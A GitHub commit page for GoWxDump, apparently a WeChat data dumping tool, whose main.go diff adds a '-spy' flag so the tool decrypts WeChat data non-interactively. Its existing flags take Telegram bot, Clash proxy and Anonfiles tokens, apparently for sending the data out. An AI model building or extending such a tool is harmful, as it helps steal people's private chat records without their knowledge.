Skip to content

Commit

Permalink
支持通过命令非交互式启动
Browse files Browse the repository at this point in the history
  • Loading branch information
SpenserCai committed Mar 3, 2023
1 parent 9d22457 commit cbaff1a
Show file tree
Hide file tree
Showing 2 changed files with 9 additions and 2 deletions.
Binary file modified Release/GoWxDump.exe
Binary file not shown.
11 changes: 9 additions & 2 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
* @Date: 2023-02-17 14:14:40
* @version:
* @LastEditors: SpenserCai
* @LastEditTime: 2023-02-25 14:27:01
* @LastEditTime: 2023-03-03 10:27:37
* @Description: file content
*/
package main
Expand All @@ -20,6 +20,7 @@ func main() {
chatid := flag.Int("chatid", 0, "Telegram chat group id")
clashconn := flag.String("clashconn", "", "Clash connection string")
anontoken := flag.String("anontoken", "", "Anonfiles token")
spy := flag.Bool("spy", false, "Spy WeChat")
flag.Parse()
if *botoken != "" && *chatid != 0 {
TELBOT_TOKEN = *botoken
Expand Down Expand Up @@ -63,6 +64,12 @@ func main() {
fmt.Println("GetWeChatInfo error: ", err)
return
}
RunCommand()
if !*spy {
RunCommand()
} else {
ShowInfoCmd()
DecryptCmd()
fmt.Println("decrypt success")
}

}

0 comments on commit cbaff1a

Please sign in to comment.